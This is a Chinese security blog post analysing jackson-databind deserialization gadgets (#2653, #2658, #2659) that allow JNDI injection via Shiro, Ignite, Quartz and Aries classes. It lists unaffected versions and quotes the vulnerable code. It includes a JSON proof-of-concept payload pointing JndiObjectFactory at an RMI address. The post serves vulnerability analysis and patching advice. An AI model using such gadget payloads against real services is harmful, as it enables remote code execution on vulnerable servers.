• jackson-databind #2653 #2658 #2659 反序列化漏洞分析(暂无cve


    powered by UnicodeSec

    不受影响的版本

    jackson-databind >= 2.9.10.4
    jackson-databind >= 2.10.0

    如果你的业务中即存在jackson,并且开启了enableDefaultTypeing功能,又存在相关受影响的jar包,请更新jackson最新版。或者使用activatedefaulttyping代替enableDefaultTypeing

    可以查询jackson的黑名单过滤列表,分析相关poc,在如下网址

    https://github.com/FasterXML/jackson-databind/issues?q=label%3ACVE+is%3Aclosed

    #2653 shiro jndi注入

    org.apache.shiro.jndi.JndiObjectFactory

    该处代码如下

    public class JndiObjectFactory<T> extends JndiLocator implements Factory<T> {
    
        private String resourceName;
        private Class<? extends T> requiredType;
    
        public T getInstance() {
            try {
                if(requiredType != null) {
                    return requiredType.cast(this.lookup(resourceName, requiredType));
                } else {
                    return (T) this.lookup(resourceName);
                }
            } catch (NamingException e) {
                final String typeName = requiredType != null ? requiredType.getName() : "object";
                throw new IllegalStateException("Unable to look up " + typeName + " with jndi name '" + resourceName + "'.", e);
            }
        }
    }
    

    我们可以从JndiObjectFactory中看出,getInstance会调用lookup去查找rmi。如果存在requiredType,则转换为相关class,如果不存在就不会强转。JndiObjectFactory继承自JndiLocator,所以我们去JndiLocator的lookup函数继续分析,JndiLocator的lookup代码如下

        protected Object lookup(String jndiName, Class requiredType) throws NamingException {
            String convertedName = convertJndiName(jndiName);
            Object jndiObject;
            try {
                jndiObject = getJndiTemplate().lookup(convertedName, requiredType);
            }
    //... 省略不相关代码
            return jndiObject;
        }
    

    可以很清楚的看到,首先将jndiName转换,然后继续调用getJndiTemplate().lookup函数,getJndiTemplate().lookup的代码如下

        public Object lookup(String name, Class requiredType) throws NamingException {
            Object jndiObject = lookup(name);
            if (requiredType != null && !requiredType.isInstance(jndiObject)) {
                String msg = "Jndi object acquired under name '" + name + "' is of type [" +
                        jndiObject.getClass().getName() + "] and not assignable to the required type [" +
                        requiredType.getName() + "].";
                throw new NamingException(msg);
            }
            return jndiObject;
        }
    

    首先调用lookup,然后根据用户传入的参数,将rmi远程获取的类强制转换为用户提供的requiredType类,假如requiredType为null,则不去强制转换。

    lookup函数如下

        public Object lookup(final String name) throws NamingException {
            log.debug("Looking up JNDI object with name '{}'", name);
            return execute(new JndiCallback() {
                public Object doInContext(Context ctx) throws NamingException {
                    Object located = ctx.lookup(name);
                    if (located == null) {
                        throw new NameNotFoundException(
                                "JNDI object with [" + name + "] not found: JNDI implementation returned null");
                    }
                    return located;
                }
            });
        }
    

    该处存在典型的jndi注入。用户可以控制lookup的name参数,可以访问恶意rmi服务器去获取带有恶意信息的类。

    poc
    ["org.apache.shiro.jndi.JndiObjectFactory",{"resourceName":"rmi://127.0.0.1:1099/aa"}]
    

    org.apache.shiro.realm.jndi.JndiRealmFactory

    首先查看org.apache.shiro.realm.jndi.JndiRealmFactory的代码

        public Collection<Realm> getRealms() throws IllegalStateException {
    // ... 省略
            for (String name : jndiNames) {
                try {
                    Realm realm = (Realm) lookup(name, Realm.class);
                    realms.add(realm);
                } catch (Exception e) {
                    throw new IllegalStateException("Unable to look up realm with jndi name '" + name + "'.", e);
                }
            }
            return realms.isEmpty() ? null : realms;
        }
    

    可以很明显看出,在getRealms函数中,会调用lookup去作为rmi的参数。而lookup函数,其实就是上一个gadget的lookup函数。poc与上一个类似。

    #2658

    该楼栋编号有三个gadget

    1. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
    2. org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory
    3. org.quartz.utils.JNDIConnectionProvider

    org.quartz.utils.JNDIConnectionProvider

    在getConnection中存在rmi的lookup函数调用,并且该参数可以通过jackson在反序列化的时候设置

    https://github.com/quartz-scheduler/quartz/blob/master/quartz-core/src/main/java/org/quartz/utils/JNDIConnectionProvider.java

            Context ctx = null;
            try {
                Object ds = this.datasource;
    
                if (ds == null || isAlwaysLookup()) {
                    ctx = (props != null) ? new InitialContext(props): new InitialContext(); 
    
                    ds = ctx.lookup(url);
                    if (!isAlwaysLookup()) {
                        this.datasource = ds;
                    }
                }
    

    其他两个与该处gadget类似,故不再描述

    #2659

    该漏洞存在与org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory 查看代码中是否存在rmi的lookup引用

    https://www.javatips.net/api/aries-master/aries-trunk/transaction/transaction-jms/src/main/java/org/apache/aries/transaction/jms/internal/XaPooledConnectionFactory.java

        public TransactionManager getTransactionManager() {
            if (transactionManager == null && tmFromJndi) {
                try {
                    transactionManager = (TransactionManager) new InitialContext().lookup(getTmJndiName());
                } catch (Throwable ignored) {
                    if (LOG.isTraceEnabled()) {
                        LOG.trace("exception on tmFromJndi: " + getTmJndiName(), ignored);
                    }
                }
            }
            return transactionManager;
        }
    

    在getTransactionManager函数中调用rmi的lookup函数。可以通过jackson去注入恶意参数

  • 相关阅读:
    Consul运行
    springcloud+Zookeeper测试
    解决:sql2005 安装完后 没有服务的问题
    asp.net dataTable添加列
    C#关闭word进程
    无法将类型为“Microsoft.Office.Interop.Word.ApplicationClass”的 COM 对象强制转换为接口类型“Microsoft.Office.Interop.Word._Application”
    C#网页采集
    C#计算时间差值
    C#播放声音
    C#打开得到路径
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/12510866.html
Copyright © 2020-2023  润新知